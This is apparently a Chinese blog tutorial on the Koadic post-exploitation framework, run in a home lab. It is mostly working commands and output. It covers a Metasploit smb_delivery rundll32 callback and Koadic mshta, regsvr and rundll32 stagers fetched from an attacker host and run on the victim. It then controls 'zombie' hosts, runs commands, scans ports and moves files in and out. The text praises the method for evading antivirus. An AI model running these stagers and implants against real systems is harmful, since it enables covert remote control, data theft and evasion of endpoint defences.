koadic是DEFCON黑客大会上分享出来的的一个后渗透工具，虽然和msf有些相似，但是Koadic主要是通过使用Windows ScriptHost（也称为JScript / VBScript）进行大部分的操作，其核心兼容性支持WindowsXP到Window 10的环境中使用，Koadic的相比于其他的后门程序来说更轻便，该工具通过调用系统的一些命令来完成Shell的反弹工作，因为调用的是系统的模块，所以天生免杀。你只需要在目标主机上执行一条命令，即可完全控制目标主机，该工具在圈内有一个别名：大宝剑，对于一个热衷于后渗透测试的人员来说，算的上是，"居家旅行，杀人越货"必备良品了！
再开始使用Koadic之前，我们先通过使用smb_delivery完成一次反弹。要使用此方法，我们先来通过MSF来启动一个服务。
msf5 > use exploit/windows/smb/smb_delivery
msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.40
srvhost => 192.168.1.40
msf5 exploit(windows/smb/smb_delivery) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.40:4444
[*] Started service listener on 192.168.1.40:445
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \192.168.1.40aCxwTB est.dll,0
我们记下上方的上线地址，rundll32.exe 192.168.1.40aCxwTB est.dll,0 ，然后在被害主机执行此命令，然后Kali成功上线，并且杀软没有报毒。
Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。
C:Userslyshark>rundll32.exe \192.168.1.40aCxwTB est.dll,0
1.好了，进入正题，默认情况下Koadic工具并没有安装在Kali系统中，我们需要手动下载并安装。
root@kali:~# git clone https://github.com/zerosum0x0/koadic.git
root@kali:~# cd koadic/
root@kali:~# chmod 755 -R *
root@kali:~# pip3 install -r requirements.txt
root@kali:~# python3 koadic
.
/
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~==8==/~
8
O
(koadic: sta/js/mshta)#
2.接着我们就使用一个攻击载荷，这里面有三个比较不错的载荷分别是，stager/js/mshta，stager/js/regsvr，stager/js/rundll32_js，我们以第一个载荷为例。
(koadic: sta/js/mshta)# use stager/js/mshta
(koadic: sta/js/mshta)# set lhost 192.168.1.40
[+] LHOST => 192.168.1.40
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.40:9999/A324A
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.40:9999/A324A
3.执行完以后，会弹出 mshta http://192.168.1.40:9999/A324A 记下这条命令，并去受害主机执行。
Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。
C:Userslyshark>mshta http://192.168.1.40:9999/A324A
4.成功反弹Shell以后，我们可以使用 zombies 命令查看所以的受害僵尸主机。
[+] Zombie 0: Staging new connection (192.168.1.2)
[+] Zombie 0: DESKTOP-SKVClyshark* @ DESKTOP-SKVC -- Windows 10 Enterprise LTSC 2019
(koadic: sta/js/mshta)# zombies
ID IP STATUS LAST SEEN
--- --------- ------- ------------
0* 192.168.1.2 Alive 2019-08-12 20:09:24
Use "zombies ID" for detailed information about a session.
Use "zombies IP" for sessions on a particular host.
Use "zombies DOMAIN" for sessions on a particular Windows domain.
Use "zombies killed" for sessions that have been manually killed.
zombies后方添加编号，可以查看具体主机的详细情况。
(koadic: sta/js/mshta)# zombies 0
ID: 0
Status: Alive
First Seen: 2019-08-12 20:08:37
Last Seen: 2019-08-12 20:11:24
Listener: 0
IP: 192.168.1.2
User: DESKTOP-SKVClyshark*
Hostname: DESKTOP-SKVC
Primary DC: Unknown
OS: Windows 10 Enterprise LTSC 2019
OSBuild: 17763
OSArch: 64
Elevated: YES!
User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0;)
Session Key: 316d78e7a8239880
JOB NAME STATUS ERRNO
---- --------- ------- -------
5.如果需要执行CMD命令可以使用cmd_shell，如下。
(koadic: sta/js/mshta)# cmdshell 0
[koadic: ZOMBIE 0 (192.168.1.2) - C:Userslyshark]> ipconfig
[*] Zombie 0: Job 0 (implant/manage/exec_cmd) created.
Result for `cd C:Userslyshark & ipconfig`:
Windows IP 配置
网适配器 WLAN:
媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
6.也可以扫描本台主机端口的开放情况。
(koadic: sta/js/mshta)# use implant/scan/tcp
(koadic: imp/sca/tcp)# info
NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
RHOSTS yes name/IP of the remotes
RPORTS 22,80,135,139,44... yes ports to scan
TIMEOUT 2 yes longer is more accurate
CHECKLIVE true yes check if host is up before checking ports
ZOMBIE ALL yes the zombie to target
(koadic: imp/sca/tcp)# set RHOSTS 192.168.1.2
[+] RHOSTS => 192.168.1.2
(koadic: imp/sca/tcp)# run
[*] Zombie 0: Job 1 (implant/scan/tcp) created.
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 22 closed 80072efd
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 80 closed 80072efd
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 135 open 00000000
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 139 open 80072f78
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 443 closed 80072efd
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 445 open 80072efe
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 3389 closed 80072efd
[+] Zombie 0: Job 1 (implant/scan/tcp) completed.
7.从僵尸主机上面下载一个文件，可以使用 implant/util/download_file 模块。
(koadic: imp/sca/tcp)# use implant/util/download_file
(koadic: imp/uti/download_file)#
(koadic: imp/uti/download_file)# info
NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
LPATH /tmp/ yes local file save path
RFILE no remote file to get
RFILELIST no file containing line-seperated file names to download
CHUNKSIZE 10000000 yes size in bytes (kind of) of chunks to save, helps avoid MemoryError exceptions
CERTUTIL false yes use certutil to base64 encode the file before downloading
ZOMBIE ALL yes the zombie to target
(koadic: imp/uti/download_file)# set zombie 0
[+] ZOMBIE => 0
(koadic: imp/uti/download_file)# set rfile c:lyshark.exe
[+] RFILE => c:lyshark.exe
(koadic: imp/uti/download_file)# run
[*] Zombie 0: Job 4 (implant/util/download_file) created.
[+] Zombie 0: Job 4 (implant/util/download_file) completed.
[+] c:lyshark.exe saved to /tmp/lyshark.exe (940602 bytes)
8.上传文件则可以使用，implant/util/upload_file 这个模块。
(koadic: imp/uti/download_file)# use implant/util/upload_file
(koadic: imp/uti/upload_file)#
(koadic: imp/uti/upload_file)# info
NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
LFILE yes local file to upload
DIRECTORY %TEMP% no writeable directory
ZOMBIE ALL yes the zombie to target
(koadic: imp/uti/upload_file)# set zombie 0
[+] ZOMBIE => 0
(koadic: imp/uti/upload_file)# set lfile /tmp/lyshark.exe
[+] LFILE => /tmp/lyshark.exe
(koadic: imp/uti/upload_file)# run
[*] Zombie 0: Job 5 (implant/util/upload_file) created.
[+] Zombie 0: Job 5 (implant/util/upload_file) completed.